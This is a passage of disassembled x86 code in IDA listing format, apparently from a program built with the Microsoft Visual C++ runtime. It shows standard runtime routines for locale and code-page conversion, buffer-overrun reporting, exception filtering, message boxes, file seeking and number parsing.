ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_432A68 xor eax, [ebp+4] and [ebp+var_6], 0 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] call dword_42211C ; GetLocaleInfoA test eax, eax jnz short loc_420321 or eax, 0FFFFFFFFh jmp short loc_42032B ; --------------------------------------------------------------------------- loc_420321: ; CODE XREF: sub_4202EF+2Bj lea eax, [ebp+var_C] push eax call sub_416C7A pop ecx loc_42032B: ; CODE XREF: sub_4202EF+30j mov ecx, [ebp+var_4] xor ecx, [ebp+4] call sub_41C596 leave retn sub_4202EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420338 proc near ; CODE XREF: sub_41C1A9+2A8p ; sub_41C1A9+366p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 38h push offset stru_42CB78 call __SEH_prolog mov eax, dword_432A68 xor eax, [ebp+4] mov [ebp+var_1C], eax xor edi, edi mov [ebp+var_20], edi mov [ebp+var_24], edi mov eax, [ebp+arg_C] mov ebx, [eax] mov [ebp+var_28], ebx mov [ebp+var_2C], edi mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jz loc_4204E1 lea ecx, [ebp+var_40] push ecx push eax mov esi, dword_4221B4 call esi ; GetCPInfo test eax, eax jz short loc_42039F cmp [ebp+var_40], 1 jnz short loc_42039F lea eax, [ebp+var_40] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_42039F cmp [ebp+var_40], 1 jnz short loc_42039F mov [ebp+var_2C], 1 loc_42039F: ; CODE XREF: sub_420338+45j ; sub_420338+4Bj ... cmp [ebp+var_2C], edi jz short loc_4203BE cmp ebx, 0FFFFFFFFh jz short loc_4203AD mov esi, ebx jmp short loc_4203B9 ; --------------------------------------------------------------------------- loc_4203AD: ; CODE XREF: sub_420338+6Fj push [ebp+arg_8] call sub_419D70 pop ecx mov esi, eax inc esi loc_4203B9: ; CODE XREF: sub_420338+73j mov [ebp+var_44], esi jmp short loc_4203C1 ; --------------------------------------------------------------------------- loc_4203BE: ; CODE XREF: sub_420338+6Aj mov esi, [ebp+var_44] loc_4203C1: ; CODE XREF: sub_420338+84j cmp [ebp+var_2C], edi jnz short loc_4203E0 push edi push edi push ebx push [ebp+arg_8] push 1 push [ebp+arg_0] call dword_4220D4 ; MultiByteToWideChar mov esi, eax mov [ebp+var_44], esi cmp esi, edi jz short loc_420438 loc_4203E0: ; CODE XREF: sub_420338+8Cj mov [ebp+ms_exc.disabled], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_48], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_41E8F0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_420424 ; --------------------------------------------------------------------------- loc_42040D: ; DATA XREF: .text:stru_42CB78o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_420411: ; DATA XREF: .text:stru_42CB78o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor edi, edi xor ebx, ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_44] loc_420424: ; CODE XREF: sub_420338+D3j cmp ebx, edi jnz short loc_420446 push esi push 2 call sub_41E61E pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_42043F loc_420438: ; CODE XREF: sub_420338+A6j xor eax, eax jmp loc_4204F3 ; --------------------------------------------------------------------------- loc_42043F: ; CODE XREF: sub_420338+FEj mov [ebp+var_24], 1 loc_420446: ; CODE XREF: sub_420338+EEj push esi push ebx push [ebp+var_28] push [ebp+arg_8] push 1 push [ebp+arg_0] call dword_4220D4 ; MultiByteToWideChar test eax, eax jz loc_4204E4 cmp [ebp+arg_10], edi jz short loc_420486 push edi push edi push [ebp+arg_14] push [ebp+arg_10] push esi push ebx push edi push [ebp+arg_4] call dword_4220D8 ; WideCharToMultiByte test eax, eax jz short loc_4204E4 mov eax, [ebp+arg_10] mov [ebp+var_20], eax jmp short loc_4204E4 ; --------------------------------------------------------------------------- loc_420486: ; CODE XREF: sub_420338+12Cj cmp [ebp+var_2C], edi jnz short loc_4204A1 push edi push edi push edi push edi push esi push ebx push edi push [ebp+arg_4] call dword_4220D8 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_4204E4 loc_4204A1: ; CODE XREF: sub_420338+151j push esi push 1 call sub_41E61E pop ecx pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_4204E4 push edi push edi push esi push eax push esi push ebx push edi push [ebp+arg_4] call dword_4220D8 ; WideCharToMultiByte cmp eax, edi jnz short loc_4204D4 push [ebp+var_20] call sub_416D07 pop ecx mov [ebp+var_20], edi jmp short loc_4204E4 ; --------------------------------------------------------------------------- loc_4204D4: ; CODE XREF: sub_420338+18Cj cmp [ebp+var_28], 0FFFFFFFFh jz short loc_4204E4 mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_4204E4 ; --------------------------------------------------------------------------- loc_4204E1: ; CODE XREF: sub_420338+30j mov ebx, [ebp+var_48] loc_4204E4: ; CODE XREF: sub_420338+123j ; sub_420338+144j ... cmp [ebp+var_24], edi jz short loc_4204F0 push ebx call sub_416D07 pop ecx loc_4204F0: ; CODE XREF: sub_420338+1AFj mov eax, [ebp+var_20] loc_4204F3: ; CODE XREF: sub_420338+102j lea esp, [ebp-54h] mov ecx, [ebp+var_1C] xor ecx, [ebp+4] call sub_41C596 call __SEH_epilog retn sub_420338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420507 proc near ; DATA XREF: .text:0042E004o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+var_8] push eax call dword_422160 ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call dword_4220F8 ; GetCurrentProcessId xor esi, eax call dword_422178 ; GetCurrentThreadId xor esi, eax call dword_422004 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call dword_422038 ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax mov dword_432A68, esi jnz short loc_42055A mov dword_432A68, 0BB40E64Eh loc_42055A: ; CODE XREF: sub_420507+47j pop esi leave retn sub_420507 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42055D proc near ; CODE XREF: sub_41C596-1Dp var_140 = dword ptr -140h var_128 = byte ptr -128h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 118h push offset stru_42CD28 call __SEH_prolog mov eax, dword_432A68 xor eax, [ebp+4] mov [ebp+var_1C], eax mov eax, dword_4814DC xor ecx, ecx cmp eax, ecx jz short loc_4205A1 mov [ebp+ms_exc.disabled], ecx push [ebp+arg_4] push [ebp+arg_0] call eax pop ecx pop ecx loc_42058F: ; CODE XREF: sub_42055D+42j or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_42069F ; --------------------------------------------------------------------------- loc_420598: ; DATA XREF: .text:stru_42CD28o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_42059C: ; DATA XREF: .text:stru_42CD28o mov esp, [ebp+ms_exc.old_esp] jmp short loc_42058F ; --------------------------------------------------------------------------- loc_4205A1: ; CODE XREF: sub_42055D+23j mov eax, [ebp+arg_0] dec eax jz short loc_4205BA mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov [ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_4205CB ; --------------------------------------------------------------------------- loc_4205BA: ; CODE XREF: sub_42055D+48j mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov [ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_4205CB: ; CODE XREF: sub_42055D+5Bj mov [ebp+var_24], cl push 104h lea eax, [ebp+var_128] push eax push ecx call dword_422010 ; GetModuleFileNameA test eax, eax jnz short loc_4205F8 push offset aProgramNameUnk ; "<program name unknown>" lea eax, [ebp+var_128] push eax call sub_41BFE0 pop ecx pop ecx loc_4205F8: ; CODE XREF: sub_42055D+86j lea ebx, [ebp+var_128] lea eax, [ebp+var_128] push eax call sub_419D70 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_42063C lea eax, [ebp+var_128] push eax call sub_419D70 mov ebx, eax lea eax, [ebp+var_128] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call sub_416A00 add esp, 10h loc_42063C: ; CODE XREF: sub_42055D+B4j push ebx call sub_419D70 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov esi, esp push edi push esi call sub_41BFE0 mov edi, offset asc_42C988 ; "\n\n" push edi push esi call sub_41BFF0 push offset dword_42CB84 push esi call sub_41BFF0 push ebx push esi call sub_41BFF0 push edi push esi call sub_41BFF0 push [ebp+var_20] push esi call sub_41BFF0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_4207EB add esp, 3Ch loc_42069F: ; CODE XREF: sub_42055D+36j push 3 call sub_418434 int 3 ; Trap to Debugger loc_4206A7: ; DATA XREF: sub_4206EDo ; .text:00432A6Co push esi mov esi, [esp+148h+var_140] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_4206CA cmp dword ptr [eax+10h], 3 jnz short loc_4206CA cmp dword ptr [eax+14h], 19930520h jnz short loc_4206CA call sub_41CEC1 loc_4206CA: ; CODE XREF: sub_42055D+157j ; sub_42055D+15Dj ... mov eax, dword_4814E0 test eax, eax jz short loc_4206E7 push eax call sub_420745 test eax, eax pop ecx jz short loc_4206E7 push esi call dword_4814E0 jmp short loc_4206E9 ; --------------------------------------------------------------------------- loc_4206E7: ; CODE XREF: sub_42055D+174j ; sub_42055D+17Fj xor eax, eax loc_4206E9: ; CODE XREF: sub_42055D+188j pop esi retn 4 sub_42055D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4206ED proc near ; DATA XREF: .text:0042E01Co push offset loc_4206A7 call dword_422148 ; SetUnhandledExceptionFilter mov dword_4814E0, eax xor eax, eax retn sub_4206ED endp ; =============== S U B R O U T I N E ======================================= sub_420700 proc near ; DATA XREF: .text:0042E034o push dword_4814E0 call dword_422148 ; SetUnhandledExceptionFilter retn sub_420700 endp ; =============== S U B R O U T I N E ======================================= sub_42070D proc near ; CODE XREF: sub_41C99A+53p ; sub_41C99A+8Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call dword_422144 ; IsBadReadPtr test eax, eax jz short loc_420725 xor esi, esi loc_420725: ; CODE XREF: sub_42070D+14j mov eax, esi pop esi retn sub_42070D endp ; =============== S U B R O U T I N E ======================================= sub_420729 proc near ; CODE XREF: sub_41C99A+65p ; sub_41C99A+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call dword_422198 ; IsBadWritePtr test eax, eax jz short loc_420741 xor esi, esi loc_420741: ; CODE XREF: sub_420729+14j mov eax, esi pop esi retn sub_420729 endp ; =============== S U B R O U T I N E ======================================= sub_420745 proc near ; CODE XREF: sub_41C99A+128p ; sub_42055D+177p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] xor esi, esi inc esi call dword_422140 ; IsBadCodePtr test eax, eax jz short loc_420759 xor esi, esi loc_420759: ; CODE XREF: sub_420745+10j mov eax, esi pop esi retn sub_420745 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41CEC1 loc_42075D: ; CODE XREF: sub_41CEC1:loc_41CEF1j push 0Ah call sub_41D967 push 16h call sub_4213F3 pop ecx pop ecx push 3 call sub_418434 int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_41CEC1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420775 proc near ; CODE XREF: sub_41D56C+7p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_42CD38 call __SEH_prolog cmp dword_482984, 3 jnz short loc_4207C4 push 4 call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] push esi call sub_41A24F pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_4207B2 mov esi, [esi-4] sub esi, 9 mov [ebp+var_20], esi jmp short loc_4207B5 ; --------------------------------------------------------------------------- loc_4207B2: ; CODE XREF: sub_420775+30j mov esi, [ebp+var_20] loc_4207B5: ; CODE XREF: sub_420775+3Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4207E2 cmp [ebp+var_1C], 0 jnz short loc_4207D7 loc_4207C4: ; CODE XREF: sub_420775+13j push [ebp+arg_0] push 0 push dword_482980 call dword_42213C ; RtlSizeHeap mov esi, eax loc_4207D7: ; CODE XREF: sub_420775+4Dj mov eax, esi call __SEH_epilog retn sub_420775 endp ; =============== S U B R O U T I N E ======================================= sub_4207DF proc near ; DATA XREF: .text:stru_42CD38o mov esi, [ebp-20h] sub_4207DF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4207E2 proc near ; CODE XREF: sub_420775+44p push 4 call sub_41A142 pop ecx retn sub_4207E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207EB proc near ; CODE XREF: sub_41D967+132p ; sub_42055D+13Ap var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp dword_4814E4, ebx push esi push edi jnz short loc_42086B push offset aUser32_dll ; "user32.dll" call dword_422088 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4208A6 mov esi, dword_422084 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4814E4, eax jz short loc_4208A6 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4814E8, eax call esi ; GetProcAddress cmp dword_481184, 2 mov dword_4814EC, eax jnz short loc_42086B push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress test eax, eax mov dword_4814F4, eax jz short loc_42086B push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress mov dword_4814F0, eax loc_42086B: ; CODE XREF: sub_4207EB+11j ; sub_4207EB+60j ... mov eax, dword_4814F0 test eax, eax jz short loc_4208B0 call eax ; GetProcessWindowStation test eax, eax jz short loc_420897 lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call dword_4814F4 ; GetUserObjectInformationA test eax, eax jz short loc_420897 test [ebp+var_8], 1 jnz short loc_4208B0 loc_420897: ; CODE XREF: sub_4207EB+8Dj ; sub_4207EB+A4j cmp dword_481190, 4 jb short loc_4208AA or [ebp+arg_A], 20h jmp short loc_4208CF ; --------------------------------------------------------------------------- loc_4208A6: ; CODE XREF: sub_4207EB+22j ; sub_4207EB+3Dj xor eax, eax jmp short loc_4208DF ; --------------------------------------------------------------------------- loc_4208AA: ; CODE XREF: sub_4207EB+B3j or [ebp+arg_A], 4 jmp short loc_4208CF ; --------------------------------------------------------------------------- loc_4208B0: ; CODE XREF: sub_4207EB+87j ; sub_4207EB+AAj mov eax, dword_4814E8 test eax, eax jz short loc_4208CF call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_4208CF mov eax, dword_4814EC test eax, eax jz short loc_4208CF push ebx call eax ; GetLastActivePopup mov ebx, eax loc_4208CF: ; CODE XREF: sub_4207EB+B9j ; sub_4207EB+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call dword_4814E4 ; MessageBoxA loc_4208DF: ; CODE XREF: sub_4207EB+BDj pop edi pop esi pop ebx leave retn sub_4207EB endp ; =============== S U B R O U T I N E ======================================= sub_4208E4 proc near ; CODE XREF: sub_420915+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_481721[eax], cl jnz short loc_420911 cmp [esp+arg_4], 0 jz short loc_42090A movzx eax, word_42C17A[eax*2] and eax, [esp+arg_4] jmp short loc_42090C ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_4208E4+16j xor eax, eax loc_42090C: ; CODE XREF: sub_4208E4+24j test eax, eax jnz short loc_420911 retn ; --------------------------------------------------------------------------- loc_420911: ; CODE XREF: sub_4208E4+Fj ; sub_4208E4+2Aj xor eax, eax inc eax retn sub_4208E4 endp ; =============== S U B R O U T I N E ======================================= sub_420915 proc near ; CODE XREF: sub_41DC7B+35p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_4208E4 add esp, 0Ch retn sub_420915 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420926 proc near ; CODE XREF: sub_41E2D9+54p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_41F57B or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_420957 call sub_41B9A5 mov dword ptr [eax], 9 jmp short loc_420980 ; --------------------------------------------------------------------------- loc_420957: ; CODE XREF: sub_420926+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call dword_422090 ; SetFilePointer cmp eax, edi mov [ebp+var_8], eax jnz short loc_420986 call dword_422008 ; RtlGetLastWin32Error test eax, eax jz short loc_420986 push eax call sub_41B9B7 pop ecx loc_420980: ; CODE XREF: sub_420926+2Fj mov eax, edi mov edx, edi jmp short loc_4209A5 ; --------------------------------------------------------------------------- loc_420986: ; CODE XREF: sub_420926+47j ; sub_420926+51j mov eax, esi sar eax, 5 mov eax, dword_481600[eax*4] and esi, 1Fh lea ecx, [esi+esi*8] lea eax, [eax+ecx*4+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_4209A5: ; CODE XREF: sub_420926+5Ej pop edi pop esi leave retn sub_420926 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] mov al, 0FFh mov edi, edi loc_4209C0: ; CODE XREF: .text:004209D0j ; .text:004209F0j or al, al jz short loc_4209F6 mov al, [esi] add esi, 1 mov ah, [edi] add edi, 1 cmp ah, al jz short loc_4209C0 sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4209C0 sbb al, al sbb al, 0FFh loc_4209F6: ; CODE XREF: .text:004209C2j movsx eax, al pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4209FE proc near ; CODE XREF: sub_41F8F5+2BDp var_100C = byte ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_416B90 mov eax, dword_432A68 xor eax, [ebp+4] push ebx push esi push 1 xor esi, esi push esi push [ebp+arg_0] mov [ebp+var_4], eax call sub_41D6E6 or ebx, 0FFFFFFFFh add esp, 0Ch cmp eax, ebx mov [ebp+var_8], eax jz loc_420B28 push 2 push esi push [ebp+arg_0] call sub_41D6E6 add esp, 0Ch cmp eax, ebx jz loc_420B28 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_420ACB mov ebx, 1000h push ebx lea eax, [ebp+var_100C] push esi push eax call sub_41E8F0 push 8000h push [ebp+arg_0] call sub_4215D1 add esp, 14h mov [ebp+var_C], eax loc_420A7C: ; CODE XREF: sub_4209FE+A2j cmp edi, ebx mov eax, ebx jge short loc_420A84 mov eax, edi loc_420A84: ; CODE XREF: sub_4209FE+82j push eax lea eax, [ebp+var_100C] push eax push [ebp+arg_0] call sub_41E2D9 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_420AA4 sub edi, eax test edi, edi jg short loc_420A7C jmp short loc_420ABC ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_4209FE+9Cj call sub_41B9AE cmp dword ptr [eax], 5 jnz short loc_420AB9 call sub_41B9A5 mov dword ptr [eax], 0Dh loc_420AB9: ; CODE XREF: sub_4209FE+AEj or esi, 0FFFFFFFFh loc_420ABC: ; CODE XREF: sub_4209FE+A4j push [ebp+var_C] push [ebp+arg_0] call sub_4215D1 pop ecx pop ecx jmp short loc_420B13 ; --------------------------------------------------------------------------- loc_420ACB: ; CODE XREF: sub_4209FE+56j jge short loc_420B13 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_41D6E6 push [ebp+arg_0] call sub_41F57B add esp, 10h push eax call dword_422138 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, ebx jnz short loc_420B13 call sub_41B9A5 mov dword ptr [eax], 0Dh call sub_41B9AE mov edi, eax call dword_422008 ; RtlGetLastWin32Error mov [edi], eax loc_420B13: ; CODE XREF: sub_4209FE+CBj ; sub_4209FE:loc_420ACBj ... push 0 push [ebp+var_8] push [ebp+arg_0] call sub_41D6E6 add esp, 0Ch mov eax, esi pop edi jmp short loc_420B2A ; --------------------------------------------------------------------------- loc_420B28: ; CODE XREF: sub_4209FE+32j ; sub_4209FE+48j mov eax, ebx loc_420B2A: ; CODE XREF: sub_4209FE+128j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi pop ebx call sub_41C596 leave retn sub_4209FE endp ; =============== S U B R O U T I N E ======================================= sub_420B39 proc near ; CODE XREF: sub_41FC63+23p ; sub_41FC63+3Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] lea ecx, [edx+esi] xor eax, eax cmp ecx, edx jb short loc_420B4F cmp ecx, esi jnb short loc_420B52 loc_420B4F: ; CODE XREF: sub_420B39+10j xor eax, eax inc eax loc_420B52: ; CODE XREF: sub_420B39+14j mov edx, [esp+4+arg_8] mov [edx], ecx pop esi retn sub_420B39 endp ; =============== S U B R O U T I N E ======================================= sub_420B5A proc near ; CODE XREF: sub_420C13+4Bp ; sub_420C13+6Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_420B39 add esp, 0Ch test eax, eax jz short loc_420B8C lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_420B39 add esp, 0Ch test eax, eax jz short loc_420B8C inc dword ptr [esi+8] loc_420B8C: ; CODE XREF: sub_420B5A+19j ; sub_420B5A+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_420B39 add esp, 0Ch test eax, eax jz short loc_420BA4 inc dword ptr [esi+8] loc_420BA4: ; CODE XREF: sub_420B5A+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_420B39 add esp, 0Ch pop edi pop esi retn sub_420B5A endp ; =============== S U B R O U T I N E ======================================= sub_420BB8 proc near ; CODE XREF: sub_420C13+3Bp ; sub_420C13+41p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, [eax] mov ecx, esi add esi, esi push edi mov edi, [eax+4] shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+4], esi mov [eax+8], ecx pop esi retn sub_420BB8 endp ; =============== S U B R O U T I N E ======================================= sub_420BE6 proc near ; CODE XREF: sub_421131+1C1p ; sub_421633+18Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax+8] mov ecx, [eax+4] push esi push edi mov edi, ecx mov esi, edx shr ecx, 1 shl esi, 1Fh or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 or ecx, edi shr edx, 1 pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_420BE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420C13 proc near ; CODE XREF: sub_420CF7+362p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_8] xor edx, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] cmp eax, edx push esi push edi mov [ebp+var_8], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_420C91 mov [ebp+arg_8], eax loc_420C45: ; CODE XREF: sub_420C13+7Aj mov esi, ebx lea edi, [ebp+var_14] movsd movsd push ebx movsd call sub_420BB8 push ebx call sub_420BB8 lea eax, [ebp+var_14] push eax push ebx call sub_420B5A push ebx call sub_420BB8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax push ebx call sub_420B5A add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_420C45 xor edx, edx loc_420C91: ; CODE XREF: sub_420C13+2Dj cmp [ebx+8], edx jnz short loc_420CC5 mov edi, [ebx+8] loc_420C99: ; CODE XREF: sub_420C13+ADj mov ecx, [ebx+4] add [ebp+var_8], 0FFF0h mov eax, ecx shr eax, 10h mov edi, eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h cmp edi, edx mov [ebx+4], esi mov [ebx], eax jz short loc_420C99 mov [ebx+8], edi loc_420CC5: ; CODE XREF: sub_420C13+81j mov esi, 8000h jmp short loc_420CDA ; --------------------------------------------------------------------------- loc_420CCC: ; CODE XREF: sub_420C13+CAj push ebx call sub_420BB8 add [ebp+var_8], 0FFFFh pop ecx loc_420CDA: ; CODE XREF: sub_420C13+B7j test [ebx+8], esi jz short loc_420CCC mov ecx, [ebp+var_4] mov ax, word ptr [ebp+var_8] xor ecx, [ebp+4] pop edi pop esi mov [ebx+0Ah], ax pop ebx call sub_41C596 leave retn sub_420C13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420CF7 proc near ; CODE XREF: sub_41FF55+22p ; sub_41FF98+22p var_58 = byte ptr -58h var_41 = byte ptr -41h var_3C = dword ptr -3Ch var_36 = dword ptr -36h var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h mov eax, dword_432A68 xor eax, [ebp+4] push ebx push esi mov [ebp+var_4], eax xor eax, eax push edi mov edi, [ebp+arg_8] lea esi, [ebp+var_58] mov [ebp+var_8], esi mov [ebp+var_2C], eax mov [ebp+var_1C], 1 mov [ebp+var_C], eax mov [ebp+var_14], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_10], eax mov [ebp+var_18], eax mov [ebp+arg_8], edi loc_420D38: ; CODE XREF: sub_420CF7+58j mov cl, [edi] cmp cl, 20h jz short loc_420D4E cmp cl, 9 jz short loc_420D4E cmp cl, 0Ah jz short loc_420D4E cmp cl, 0Dh jnz short loc_420D51 loc_420D4E: ; CODE XREF: sub_420CF7+46j ; sub_420CF7+4Bj ... inc edi jmp short loc_420D38 ; --------------------------------------------------------------------------- loc_420D51: ; CODE XREF: sub_420CF7+55j ; sub_420CF7+B5j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_420FD0 ; default ; jumptable 00420D5D case 10 jmp off_421101[eax*4] ; switch jump loc_420D64: ; DATA XREF: .text:off_421101o cmp bl, 31h ; jumptable 00420D5D case 0 jl short loc_420D75 cmp bl, 39h 